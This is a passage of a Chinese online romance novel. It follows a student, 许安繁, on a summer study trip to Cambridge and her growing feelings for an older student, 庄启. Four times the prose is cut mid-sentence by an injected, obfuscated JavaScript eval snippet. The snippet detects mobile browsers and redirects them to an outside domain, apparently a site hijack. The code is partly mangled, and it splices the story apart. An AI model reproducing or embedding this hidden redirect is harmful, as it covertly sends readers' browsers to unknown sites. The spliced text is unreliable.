她不想回陶璐那儿,回去跟一个人住也没什么区别,陶璐每天早出晚归,有时候直接睡在公司,有时候半夜要跟海外客户开会。 家里多出一个她只会添麻烦,这是陶璐的原话。 陈晚不知道其中隐情,没想什么就问:“你爸妈不想你啊?还是他们也来北市找你们?” 许安繁没告诉过陈晚自己家的事情,准确来讲,她没告诉过任何一个同学和朋友,除了从小一起长大的岳照。 她用手摩挲了一下玻璃杯光滑的表面,平静地说:“他们忙,不来。” 没有回答前一个问题,她也不知道他们想不想自己和许知钦。 就像这么多年,她一直不知道,陶璐那半句口头禅“如果不是你跟你哥”,从不说出口的后文到底是什么。 许安繁的平静反倒让陈晚噤了声,她终于意识到不对,小心翼翼地打量了许安繁一下,之后又换上大大咧咧的表情,准备把话题含糊过去:“那也挺好,我就烦我爸妈管我,下次我也不回家了……” 孔小琦突然打断了陈晚,她用叉子拨弄着白色碟子里的蛋糕残渣,若无其事 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15071836|163239||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 道:“安繁,你爸妈怎么会这么忙,是做什么工作的。” 她开口的时候并没有看向许安繁,所以许安繁也不清楚孔小琦说这话的时候,脸上是什么表情。 “我妈妈在外企做风投分析,我爸爸……”许安繁停下了。 许鹏现在做什么,以前做过什么,这些年怎么过的,她通通不知情,甚至都没思考过他离开陶璐要怎么生活。 对方已经淡出她的生活太久,想说也没办法说。 许安繁握着杯子,杯中的液体已经开始变冷,偏低的温度渗透到她掌心。 正兀自愣怔,她外侧的吧台就被谁反手敲了敲。 伴随着笃定响声一同送至她耳边的,还有一声散漫的“许安繁”。 说起来庄启一共也没喊过她名字几次,但那种偏低偏懒的音色,她一听就知道是他,就如同一阵风过,她能分辨得出来自哪一处山野、哪一片大洋,有种连自己都不知所起的隐秘熟稔。 在弥漫着咖啡香气的空气中许安繁一寸寸抬头,原本该在柠檬树后同老师见面的庄启已经站在了她身旁。 她不是不意外,说话的时候都结巴了一下:“你、你找我?” 庄启一边手肘撑在吧台上,很放松地倚着桌子:“对,找你。” 这下不止是许安繁,连她的三个室友都流露出了诧异的神色。 许安繁小声问他什么事。 她想总不至于他觉得是自己跟踪他才到了这里,要找她兴师问罪。 庄启倒也没不耐烦,低眸看她:“跟我过来不就知道了。” 尾音稍扬,像带着柔软的钩子。 许安繁想了想,起身从高脚凳上下来。 椅子很高,庄启绅士地抬手护了她一下,不过并没碰到她。 “你们待会儿先回去吧,不用等我了。”许安繁对陈晚她们说。 陈晚眨了眨眼:“行,那你要是回来晚需要人接,跟我说一声。” 庄启轻笑了声:“我送她。” 陈晚闻言,开始十分八卦地朝许安繁挤眉弄眼。 孔小琦的叉子莫名其妙插偏了,尖端划过盘子,发出锐利的刮擦声。 许安繁假装没看到陈晚的表情,跟庄启走到门口。 他顺手拦下刚给某桌结过账的服务生,指了下许安繁她们的位置,说自己要买单。 许安繁连忙道:“不用,我们自己来就行。” 庄启摆出一副痞相:“半路把你拐走,不得给你朋友点儿补偿?” 他拿出手机,靠近服务生手中的感应终端付了钱,而后抬手推开店门,等许安繁先走,自己才出去。 门是窄窄的一道,许安繁经过他身边时,不得不跟他贴得极近。 一瞬间被他身上的气息包围,像沉入一小片无色的海洋。 她今天穿的薄开衫与他的外套相擦,发出几不可察的窸窣声。 许安繁一刹分神。 就在这时,她听到庄启慢悠悠地开了口:“刚才别人问你不想答的事情,为什么不拒绝?” 12. 无夏 「不知道你的博士论文后来有没有被那家旧书店收藏,但我还保存着在店里买的那本《蝴蝶梦》,就像书里没有名字的女主角梦见曼德利庄园一样,我后来也一次又一次,在梦里重新回到那年夏天的英国。」 ——许安繁《无夏之年》 她惊讶地向后仰脸,庄启恰好垂眼看她,睫毛在眼睑处投下一小片影子。 一次短暂的对视,像根柔软的苇草一样扫过许安繁心头。 她慢半拍地问:“你听到我们说话了?” 庄启随意地点了下头。 许安繁想起什么:“你就这么走了,你老师怎么办?” 庄启扬了扬眉:“懂得挺多,还知道那是我老师。” 明明是平静的语气,许安繁却觉得自己听出了揶揄意味。 她的脸有些红:“我猜的。” 两个人已经走出了咖啡厅,庄启闲闲道:“这么聪明啊,小学妹。” 这次许安繁能够确定,他的确是在揶揄自己。 不过庄启也没为难她,而是很快告诉她说:“教授晚上有约,已经走了。” 许安繁这才想起,刚才离开的时候,柠檬树后的那张桌子好像是空的。 天气微阴,湿漉漉的云缓缓移动,行道树上飞下一只山雀,翅膀掠过路边栏杆上攀附的蔷薇花,降落在草坪上。 许安繁安静片刻,对庄启说:“其实那个问题也不是不能说,是……” 她迟疑一下:“是解释起来有点儿麻烦。” 庄启没说什么,看了她一眼。 “我父母离婚好多年了,我妈妈很忙,我爸爸我再没见过。”许安繁道。 孔小琦当时问起,大概是以为她有什么难言之隐,虽然她心里确实有那么一丝芥蒂,但过了这么多年,她早就接受,也习惯了。 庄启若有所思地偏过头,许安繁正在观察草坪上的那只小山雀,她走近栏杆,两只手握着,身体都贴了上去,眼神因为认真显得十分稚气,单纯得不掺一丝杂质。 地上有颗不知从哪里滚落的坚果,小山雀用一只爪子按住,前后搓了两下。 “好可爱。”许安繁小声说。 庄启盯着女孩子白净的侧脸,莫名其妙觉得那只山雀有点像她。 “这种鸟在这边常见,你要是去靠近海边的小镇,还能碰见抢人东西吃的海鸥。”他说。 许安繁“唔”了声,思索了一下自己离开之前是不是还有时间去海边。 但很快她又意识到自己产生这样的念头有多可笑,她根本不可能穷尽庄启看过的所有风景。 他们是太不一样的两个人了。 甚至一生当中,也就只有这短短的几步路可以并肩。 从庄启问起她为什么要回答孔小琦的时候,许安繁就反应过来,他不是真的找自己有什么事,是正好跟老师见完面,顺手帮她一下。 她想自己不该继续缠着他不放,正要往后一步跟他道别,衣服就被栏杆上探出的蔷薇花枝勾住了。 许安繁的开衫是敞怀穿的,里面是件吊带,开衫的毛线被花枝上的小刺一勾,就露出了小巧光洁的肩头。 她人瘦,细细的肩带略微下滑,摇摇欲坠地搭在肩上,半边锁骨白皙内凹,再往下是若隐若现的起伏曲线。 许安繁有些慌张,单手解了半天都没弄好,险些把布料拽开线,正着急,就听见头顶庄启的嗓音:“我来。” “我……我自己就行。”许安繁嗫嚅道。 庄启闻言没急着伸手,只是问她:“你确定?” 许安繁还没出声,他就低笑了声,语气也变得暧昧不明起来:“害羞啊?” 被他说中,许安繁弄衣服的手顿了下。 她垂着头,忽然察觉到男生的靠近。 他修长骨感的手指捏住在她视线盲区的布料,捻了几下,细微的触感顺着衣服送到许安繁皮肤上。 许安繁的呼吸变得有些不稳,心跳撞在胸口,还好他看不到。 虽然笑她害羞,但庄启很注意地没有碰到她,帮她把开衫从花枝上拿了下来。 “好了。”他说。 许安繁整理好外套,过速的心跳却不肯那么快平息。 她跟庄启又往前走了一段,在下个路口看见一间旧书店,她说自己要进去看看。 庄启问:“不用我送你回去?” “还有好几个小时才天黑,没关系。”许安繁说。 顿了顿,她又道:“你别送我,本来我室友她们可能都忘了,要是再看到你……” 她没有再说下去,庄启跟她开玩笑:“看到我怎么,我就这么见不得人。” 许安繁下意识地说“不是”,看到庄启吊儿郎当的表情,她想起刚才他调侃自己害羞的时候也是这么一副样子,抿抿嘴唇,别开了目光。 庄启的眸光落在许安繁嘴唇上,淡淡的粉色,让人想起那些会在春天开的花,不知道她今天涂的唇膏,是不是还是那天他在车上捡到的桃子味道。 当时她故意把唇膏丢到地上打断了唐策问他的话,还以为他没看出来,其实不能更明显。 最后庄启还是顺着许安繁的意思没有送她,许安繁独自走进旧书店,挤挤挨挨的书架一直顶到天花板,她闻到纸质书存放很久之后散发出的油墨味,混合着店里淡淡的紫罗兰香薰气息。 店里的旧书按年代贴了分类指引的标签,在书架底部,还有成叠的剑桥大学博士论文稿本,都已过了保密期限,扉页上留着作者的亲笔签名,算是书店特色。 在两排无人的书架之间站着,许安繁想,或许以后也有人能够在这里买到庄启的论文。 那时他们只会知道他厉害有才华,却未曾见过他在滚滚红尘当中,无比耀眼的模样。 说起来,每次跟他待在一起,都好像时间颠倒错乱,短短转瞬被回味拉长,每次相遇却又稍纵即逝,如同白日梦做得太长,长到不知归路。 离开书店的时候,许安繁买了一本《Rebecca》,就是《蝴蝶梦》的原版书,她只看过电影,没读过原著。 第一页的开头,就是那句脍炙人口的“LastnightIdreamtIwenttoManderleyagain”。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15071837|163239||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 昨夜我又在梦中回到了曼德利。 许安繁不知道,自己日后会不会也梦到此刻的剑桥。 即使希望室友们可以忘记庄启来找她的事情,但他毕竟是那么夺目的一个人,许安繁一回校舍,就被打开房门探出脑袋的陈晚叫住了。 “这么早就回来?”陈晚这样问的时候,言语间似乎还很失望。 “你还想我几点回来,”许安繁晃晃手里的袋子,“我跟他也没待多久,就十几分钟,我还去逛书店了。” 陈晚迷糊了:“十几分钟?那他找你什么事儿?我还以为他看上你了。” “怎么可能。”许安繁说。 她跟陈晚关系一直不错,这次来游学更是成了比较好的朋友,清楚对方不是大嘴巴的性格,许安繁让陈晚来了自己房间,一五一十交代了庄启找她的原委,包括许鹏的事情。 怕陈晚要安慰自己,许安繁赶紧声明:“我不难过,我一点儿也不喜欢我爸,他从来就没管过我。” 陈晚懂她意思,握了下她的手,没对这件事发表评价,而是说:“庄启人还挺好的,那天他在火车上不是还帮了那个不认识的姐姐吗,真是人不可貌相。” 许安繁“扑哧”一声笑了出来:“什么人不可貌相,长得帅不能做好事?” “不是,就是他身上有种气质,”陈晚寻思了半天,“就是那种玩世不恭的气质,你知道吧。” 随后她点评道:“难怪那么多女生喜欢他,你想,他长得那么帅,平时看着痞痞的,结果还会体贴人,谁不心动啊?不过他这人,随手帮人是一回事,谈恋爱是另一回事。” 这事儿说完,陈晚又压低声音道:“我问你,你跟孔小琦是不是闹什么别扭了,饭桌上我以为她缺心眼,结果回来的时候我和苏虞议论你跟庄启,她一声都不吭。” 已经答应了给孔小琦保密,许安繁自然不能说实话,只道:“她想让我帮个忙,我没同意。” 没想到陈晚说:“是不是让你帮她证明她那个卷子批错了,就今天上午下课她不是自己留下了吗,我杯子忘教室了,回去找的时候在门口听到她跟老师说这事儿,我怕她尴尬,等她走了才进去。” 许安繁不置可否,陈晚又道:“孔小琦走的时候可丧了,边走边给她男朋友打电话,说老师没同意,跟她说除非有人证明,她还埋怨都怪你不帮她。” 看陈晚表情也是觉得孔小琦的做法有问题,但许安繁不愿意在背后说人坏话,笑了笑没搭茬。 陈晚看她这样,明白她性格,也不再继续议论。 房间倏然静了,室外的光线变暗,随后毫无预兆地传来一阵雨声。 下雨了。 在铺天盖地的沙沙声中,许安繁突然问:“晚晚,你见过英国的海鸥吗?” “活的没见过,就看过图片。”陈晚说。 许安繁自顾自道:“应该只有海边有。” 陈晚坐在地毯上伸了个懒腰,随口搭腔:“这儿没海,只有康河勉强算个水边吧。” 许安繁望着窗外,一个莫名其妙的念头涌了上来:“我想去,现在。” 13. 无夏 “现在?”陈晚还以为自己听错了,“外面下这么大雨呢。” 许安繁已经站起来去取挂在衣架上的外套,闻言笑了下:“我知道,我就是想去。” 陈晚思考了半天,想找个词形容许安繁此刻的行为:“以前没看出来,你这么随性。” “你说话真好听,我哥一般说我想起一出是一出。”许安繁边披外套边道。 陈晚笑嘻嘻地站了起来:“那走呗,我陪你一起去。” 河边不会有海鸥,何况还下着雨,许安繁也知道,只是突发奇想,不由自主。 好像从遇到庄启之后,她产生这样感受的时刻变得多了起来。 雨势连绵,许安繁跟陈晚各自打了伞,两朵颜色不同的伞面并列前行,夏令时的天幕提前变得暗沉,像是夜晚即将抵达。 透明的水珠自伞檐滴落,又溅到许安繁的裤脚,留下颜色微深的湿痕,她走在雨幕里,像踩在一贯循规蹈矩的生活边缘,仿佛每个下一步,都通向未知的冒险。 康河在国王学院西侧,河上是因为徐志摩而闻名的康桥,刚来剑桥的时候许安繁就跟室友参观过,还在刻有《再别康桥》诗句的石碑前合过影。 因为有雨,康河周围行人寥寥,河面上也没有了游船,只剩雨珠溅起一圈圈细小的涟漪,茂盛的植物散发出浓烈的草木气味。 天已经完全黑下来,许安繁跟陈晚走在河边的路上,陈晚问她感觉怎么样。 许安繁想了想说:“很自由。” 这不是一个在日常生活中常用的词汇,自由不是舒适,也不是平静,自由就是自由。 就像她也会用“自由”形容庄启,却不会这样形容其他任何人。 雨下得很大,却显得更安谧,许安繁一手握着伞,一手打开手机:“听歌吗。” 陈晚点点头,许安繁便放了慢潜的歌。 还是那首《Sugarforthepill》,旋律柔缓,好似心事伴着雨水默然涌流,每一次起承转合,只有她自己懂。 放完以后,陈晚说好听,又问是谁的歌。 “Slowdive,一个英国乐队。” 许安繁开口时略微迟疑,像考试时偷看了别人卷子,落笔时便没有那么光明磊落。 她话音刚落,手机突然震动起来,显示有一通电话,来电人是她们游学的带队老师姚老师。 许安繁示意陈晚先别作声,按下了接听:“老师,您找我?” 姚老师的声音顺着扬声孔传出来:“安繁,我有件急事想请你帮个忙。” “您说。”许安繁道。 姚老师接着说:“这次来之前,我认识的一个老先生托我给他在剑桥念书的孙子带件东西,结果来之后太忙,我一直没抽出空,今天还有个学生发烧,刚送到医院去……” 听出对方被一系列状况搞得焦头烂额,许安繁善解人意道:“东西我帮您送吧,正好这几天我们也没什么课了。” 姚老师如释重负地说“行”:“那我把人家联系方式发你,明天上午你来找我拿东西,你这孩子办事我放心。” 陈晚也听见了许安繁通话的内容,等她挂断后就调侃道:“不是我说,怎么老师都喜欢你啊,乖宝宝。” 许安繁伸手从伞下打了她一下,她笑着躲开,又道:“哎,看来那个什么老先生是个人物,你听说过没,姚老师爷爷是退下来的一杠三星,她家里认识的,不知道是什么商政大佬。” “管那么多呢,我就是替人跑个腿。”许安繁说。 她回宿舍之后,看到姚老师给她发了两个手机号码,一个是英国本地的,一个是国内的,然后是一个简短的名字。 “庄启”。 许安繁顿了顿,才给姚老师回复了收到。 明明可以只去借校舍工作人员的座机给庄启打个电话约时间,但她还是用社交软件搜索了他的国内号码,找到他的账号,给他发送了好友申请,验证消息里除了说自己是许安繁,还添上一句,姚老师让我帮你送东西。 生怕他误会一样。 做完这件事,许安繁把手机放到书桌上目力可及的位置,然后开始看白天在旧书店买的《Rebecca》。 半小时后,她的屏幕亮了。 许安繁把手机拿过来,看到庄启通过了她的好友申请。 庄启:“原来小朋友是S大的。” 就算没有当着面,许安繁也能想象出他叫她小朋友时脸上轻佻的神情。 她问他什么时候有空,自己明天上午就去找姚老师拿东西。 “你拿完来找我就行,明天上午我们几个同学约了踢球,我一直在球场。” 庄启说完,给她发了一个定位,是她曾经路过的那片足球场地。 第二天许安繁去姚老师那里拿了要捎给庄启的东西,是个花梨木质地的小方盒,上面刻有海棠花纹,看着像有年头的老物件。 姚老师嘱咐许安繁拿的时候小心点,许安繁便把盒子放进包里的,一路都时不时用手摸一下还在不在。 她来到庄启打球的场地,远远就看见了一小群人里他的身影。 虽然庄启告诉她只是跟同学约的活动,但场边还是围了不少观众,有男生也有女生,女生多些。 许安繁走过去,正好碰上他们中场休息,庄启在球门柱附近和几个华裔同学聊天,她有点不想当着那么多人的面过去找他,想要发个消息给他,让他到场边来。 手机还没拿出来,隔她几步远一个坐在地上的男生就转过头,喊了声“安繁妹妹”,是唐策。 许安繁跟他打了个招呼,唐策想当然地说:“你来看庄哥啊。” 他瞥了眼许安繁空空的手,从地上的一箱矿泉水里掏了瓶扔给她,意味深长道:“一看你就没经验。” 接着他叹了口气,半真半假道:“我要是也长庄哥那张脸就好了,有这么多美女来给我送水。” 许安繁举着瓶水百口莫辩,恰好看到唐策露在外面的膝盖上有一片擦痕。她转移话题道:“你受伤了?” 唐策满不在乎地摆了摆手:“刚才在场上摔了一下,没事儿。” 许安繁伸手从帆布包里翻了翻,找出一张创可贴,蹲下递给唐策。 唐策受宠若惊:“你还随身带这个?谢谢谢谢。” “嗯,来之前我哥哥给我塞包里的,”许安繁想把手里的水再还给他,“你先用水冲一下伤口……” 还没说完,一只黑白相间的足球就从场内贴着草皮地滚了过来,许安繁下意识地用脚拦住。 她跟唐策抬头 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15071838|163239||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 望去,看到了抱着胳膊倚在门柱上的庄启。 他斜着肩膀向后靠,两条长腿伸出来,正大光明地盯着许安繁。 唐策不知想到了什么,别有深意地笑了一声,没接许安繁的水,自己又找了一瓶:“你去吧,不用管我。” 许安繁愣了愣站起身,不远处,庄启朝她抬了抬下巴:“踢过来。” 声音中还带点刚运动过的哑,并没有跟她解释这球为什么忽然就冲着她过去了。 他旁边还有几个男生也朝她这边看过来,一缕热气顺着许安繁的衣领爬上了脖子。 她不会踢足球,只管照着庄启的方向轻轻踹了一下。 大家都看着她,她也不好再发消息让庄启过来了,只得朝他走过去。 足球沿着直线慢吞吞地滚向庄启,稍微偏了一点角度,他俯下身一把捞起来,从一只手抛到另一只手,瞥了眼许安繁,故意坏笑着问:“来给我送水?” 他周围的男生闻言开始起哄,许安繁的脸更热了。 庄启这人。 他明知道她是帮姚老师给他捎东西的。 不想让他看她热闹,许安繁小声否认:“水是唐策学长让我给你的。” 她想从帆布包把那只木盒拿出来,看了看他托着足球的手,又没动。 庄启明白了,逗着她道:“嫌我脏啊?” 许安繁不说话,把水递给他,让他洗洗。 庄启却不接,将球随手一扔,胳膊就伸到了她跟前。 他的表情很不正经,意思不言自明。 周围人的哄笑声更响,有人不怀好意地对许安繁说:“妹妹,他让你帮他洗。” 庄启的手臂有着利落的线条,偏白的皮肤下是青色的静脉,张开的手掌很宽大,让许安繁想起那天在火车上他抓住她时的炽热触感。 忽然她发现庄启的掌心里有一条浅浅的横疤。 看上去不是新伤,而是已经愈合多年了,不仔细看的话,几乎就跟他手上最中间那条掌纹融为一体。 许安繁移开目光,不打算帮庄启洗手,直接从帆布包里拿出了要给他的盒子,反正脏的也不是她的东西。 没想到庄启一看到,顿时就怔住了。 方才他眉目间那些浪荡轻浮一瞬间全都淡了下去,眼底浮现出的,是要沉重得多的情绪。 说起来也算跟庄启有了不少交集,但许安繁还是第一次看到他露出这样的表情。 少顷,他侧过头,没什么表情地对旁边人说:“下半场我不踢了,你们再找个人。” 那些朋友看出庄启的神色变化,知趣地答应着,从他身边散了。 许安繁看着他,他转回头,嗓音低低的,几乎称得上温柔:“水给我。” 不知怎么,看他这样,许安繁反倒心软了。 “你过来。”她扯了扯他的球衣下摆,让他跟自己去了球场边缘的角落。 在一棵橡树凉阴阴的影子下,她拧开瓶盖,帮庄启冲干净手,又拿出一张纸巾给他。 庄启接过去擦手,边擦边说:“这时候又跟个小大人一样。” “我就是大人。”许安繁说。 “是么,”庄启把纸揉成一团,漫不经心地丢进附近的垃圾箱,“那刚才跟你开个玩笑,还脸红成那样?” 14. 无夏 他指的是说她来给他送水的事情,语气依然懒散,可许安繁却听出他有些心不在焉。 她把海棠花纹的方盒交给庄启,他当着她的面打开了。 方盒里是一枚玉观音,被盒内的黑丝绒衬着,显得温和细润。 许安繁听到庄启低低地说:“这是我爷爷的东西。” 姚老师同许安繁讲过是庄启爷爷要自己帮忙,许安繁不知道发生了什么,只是听岳照讲过庄启家里的企业是他爷爷在打理,但看庄启的表情,似乎不是什么很好的事情。 她动了动嘴唇,想说句话,但不了解情况,也不好随便发言。 庄启沉默着,伸手将冰凉的玉观音握住,手背上浮现出明晰的指骨轮廓。 一片寂静中,只剩风经过的声音。 许安繁今天外套里面穿的是长裙,低温气流经过裙摆,在她的皮肤上留下不散的冷意,许安繁觉出凉来,忍不住打了个喷嚏。 她正手忙脚乱地找纸,久未出声的庄启忽然抬眸。 他的视线掠过她的裙子,过了片刻,他说:“你去伦敦那天穿的也是这件。” 许安繁没想到他会说这个,她还以为他根本注意不到这些。 如果她胆子大一些,或许可以问他,那你觉得好看吗。 她不敢。 回应的空隙转瞬即逝,庄启瞥了眼她裙子外面的镂空针织外套:“不冷?” 她的外套是贴身的款式,上面有蝴蝶型的点状镂空,丁香紫的颜色,更衬得皮肤白。 许安繁小声说:“有一点儿。” 庄启将木盒咔哒一声盖上:“等着。” 他说完就朝球场边走去,许安繁看到他随手把放在长凳上的工装夹克拿了起来,淡淡天光在他下颌折出锐利的阴影。 好像男生就是会比较不怕冷,他刚才只穿着球衣短裤站在她面前时,身体还是散发着鲜明的热意。 庄启很快就回来了,他将外套递向她,许安繁要接,庄启却直接帮她披上了。 隔着纯黑的外套软壳,他的手轻轻碰到了她的肩膀,然后拎着衣领往前拽了拽,像是想把她完全包裹住一样。 这样的动作就像被庄启拥在怀里,许安繁不敢看他的眼睛,目光经过他嶙峋的喉结,再往下,剧烈活动过的衣服微微潮湿,似有若无地勾勒出了胸肌和腹肌的凹痕。 她正紧张,就听见庄启带着些许戏谑问:“拉链也要我帮你拉?” “……我、我自己来。”许安繁边说,边忙乱地把胳膊伸进袖筒,想要去拉拉链。 而庄启挑了下唇角,先她一步帮她拉上了。 他的动作轻柔,眼神落在那枚银色金属拉链上的时候,显得很专注。 许安繁偷偷看他,庄启被玉观音引起的情绪在此刻已经消散无踪,又或许其实没有,只是被他隐藏得很好。 庄启把拉链一直拉到她下巴附近的位置,然后放开手端详了一番,好似在欣赏自己的劳动成果。 许安繁觉得自己现在看上去一定很滑稽,穿着大了很多个号码的衣服,晃晃荡荡的,袖子比胳膊长了好大一截。 她觉得不好意思,想让庄启别看了,便开口打断道:“衣服我什么时候还你。” 庄启这才将目光移回她脸上,过了一秒,吊儿郎当地说什么时候都行。 没所谓的样子。 男生的眸光透彻,像晴天时水面的反光。 “那我到时候发消息给你约时间。” 许安繁说完,飞快地一瞥他手中的盒子:“东西送到了,我走了,拜拜。” 庄启抬抬下巴,算作跟她的告别。 风把他额前的碎发吹起来,露出清爽英俊的眉眼。 许安繁看着他,心底升腾起某种情绪,很淡,像细细的烟气,沿着心跳的路径氤氲。 她穿着庄启的外套往回走,从球场到校舍的距离很远,而且已经到了中午,她半路觉得饿,便折去了超市。 昨晚之后,宿舍里的几个人默契地不再提起一起吃饭的事情,大概都怕尴尬,陈晚这天跑去找余怡玩了,许安繁只剩自己,打算随便解决买点东西吃。 她从超市的冰柜里挑了一份看着像速食面的产品,去结账的时候正好看到蓝莓在打折,就顺手拿了一盒。 回到校舍,大家都不在,许安繁去厨房开微波炉,开始加热速食。 长方形视窗里亮起橙色的灯光,微波炉发出低分贝的运转音。 等待食物热好的时间里,许安繁脱下身上庄启的外套,犹豫片刻,轻轻凑近,闻了一下。 是她已经熟悉的那种清淡水生调,一路上包裹着她,缭绕着她,无法忽视,却又很不真实,总好像下一分钟就会散掉。 这件衣服是一个很贵的牌子,她只在新闻上看过明星穿。 而庄启却随随便便就借给了她。 “叮”的一声,食物热好了,许安繁将庄启的衣服叠起来放好,然后洗手吃饭。 纸盒里的食物看起来不怎么像面,更像用面皮做的薄饼,里面是几层肉酱,她捧着坐到厨房内侧休息室的沙发上,用叉子叉起来一块送进嘴里,随后就皱起了眉。 许安繁咬着叉子,搜了一下包装盒上的单词Lasagna,原来这是意式千层面。 她拍了张照发给许知钦,加了一个哭脸:“哥,这个超难吃。” 国内刚到晚上,许知钦在线:“看着还行,这么不合口味?” “嗯,味道好怪,还没有你给我煮的意面好吃。”许安繁说。 许知钦安慰她:“没事儿,马上就回来了,到时候哥哥给你做好吃的。” 如果是以前,许安繁一定会毫不客气地开始点菜,但这次不知怎么,她看到许知钦说“马上就回来了”,心里却有一丝怅惘。 这么快就要走了。 许知钦最了解她,看她没有回复,便问:“怎么,又舍不得走了?” 接着他又发过来一长串话。 许知钦:“剑桥这么好?那你可要好好学习。” 许知钦:“到时候研究生申请剑桥,哥哥给你出学费,就不用动妈给你存的钱了。” 许安繁知道许知钦说的是真的,他的公司已经开始有起色,她某次无意间打开手机上推送的财经新闻,还在里面看到了有关他的报道。 剑桥是很好,但她舍不得走,不是因为这个。 她没有跟许知钦解释,只是假装嫌弃地说:“知道了知道了,许总事业有成,马上就成家里顶梁柱了。” 退出跟许知钦的聊天页面,许安繁发现有人给她最近的动态点了赞。 她点进去看,竟然是庄启。 心脏不由自主多跳了一拍。 她那条动态还是在伦敦那天发的,内容是陈晚在街上给她抓拍的照片,照片里她穿着跟今天一样的裙子。 许安繁点开那张照片,带着挑剔的心 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15071839|163239||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 情重新审视了一遍。 当时发的时候没有修,她后知后觉地有些后悔,其实还可以更好看一点的。 与此同时,许安繁想到另一件事。 照片是前几天发的,那么庄启是不是特地点进了她的页面。 她盯着手机屏幕发了会儿呆,给她那条动态按赞的人不少,许安繁从里面找到岳照的头像,在聊天框里问她:“照照,你觉得上次我发那张照片怎么样?” 这样没头没尾的话也只能问好朋友。 岳照:“你去伦敦那天发的吗。” 岳照:“好看,怎么了?” 许安繁也清楚自己问得突兀,半晌,她开始慢吞吞地在输入框里打字:“照照,我觉得我好像……” 还没有打完,岳照那边已经抛出了新话题:“对了安繁,我想买头戴耳机,你是不是有一个,好用吗?” 许安繁也没理清自己的心绪,于是又把打出来的字都删掉,然后回答了岳照的问题:“音质还不错,他们今年好像出了新款,降噪增强了,英国这边买应该便宜,我可以帮你带一个。” 岳照:“那我查查,比较一下再决定。” 岳照:“我确实得买一个带降噪的,隔壁宿舍有人下半夜还在走廊上打电话。” 许安繁知道岳照暑假没回家,还一直住在宿舍里。 她建议道:“你要不然跟她们说一下,让她们小点儿声?” 岳照却没有接茬,又找补似地道:“而且我主要是听英语和听歌,有降噪更专心。” 许安繁觉得岳照不太想提起隔壁的同学,便也没有多问,只说:“那你需要我带的话,记得这周跟我说,下周我就回国了。” 在休息室吃完味道并不好的千层面,许安繁洗了蓝莓,将塑料盒沥干水放到桌上时,听到校舍的大门被打开了,然后是一阵脚步声。 接着陈晚大大咧咧的嗓音就在门口响了起来:“安繁,你吃饭没?” 许安繁说吃了,问陈晚要不要蓝莓。 陈晚过来拿了几个,边吃边说:“你看咱们大群了吗,姚老师说最后一天要办结束活动,让大家投票呢。” 许安繁打开手机查看自己错过的群消息,在投票的选项里,草坪音乐会以压倒性的优势排在了榜首,姚老师已经发了一份在线文档,让大家填自己打算出的节目或是想听的歌曲,最后音乐会的曲目会从里面挑选。 虽然知道冷门的歌大概率不会被选中,但许安繁还是在空格里写下了慢潜乐队的那首《SugarforthePill》。 她填的时候,听到陈晚问自己:“白天怎么样,看到大佬孙子了?” “看到了,”许安繁停了一下,“是庄启。” 陈晚睁大眼睛说了声“我去”,又问许安繁然后呢。 “没有然后了,我送完就回来了,他看我冷,借了外套给我。”许安繁说。 说完以后她才发现,那些令自己暗自悸动、无端慌张的交集,原来讲出来也不过这么简简单单的几句话而已。 “像他干的事儿。”陈晚说。 许安繁没说话,她还记得陈晚对庄启的那些评价,浪荡,抓不住,游戏人间,不要轻易招惹。 总之所有形容他的词,听起来都跟一直听话乖巧的她在两个世界。 他像明亮的沼泽,危险致命,又充满诱人的吸引力。 一时沉溺容易,始终清醒却那么艰难。 15. 无夏 「没有结局的故事,就不值得写吗。」 ——许安繁《无夏之年》 尽管清楚庄启不在意自己什么时候还他衣服,许安繁还是当晚就留言问了他。 庄启:“找个你方便的时间。” 许安繁:“明天中午好不好。” 她问完,又说:“我请你吃饭吧,你帮了我那么多次,都没有谢谢你。” 庄启回道:“对我这么客气?” 而后他又说:“中午不方便,下午要开组会。” 许安繁心间传来轻微的落空感,她想这是婉拒的意思,指尖悬在屏幕上方,正要说没关系,就看到庄启那边又有了新的消息。 庄启:“明天晚上可以。” 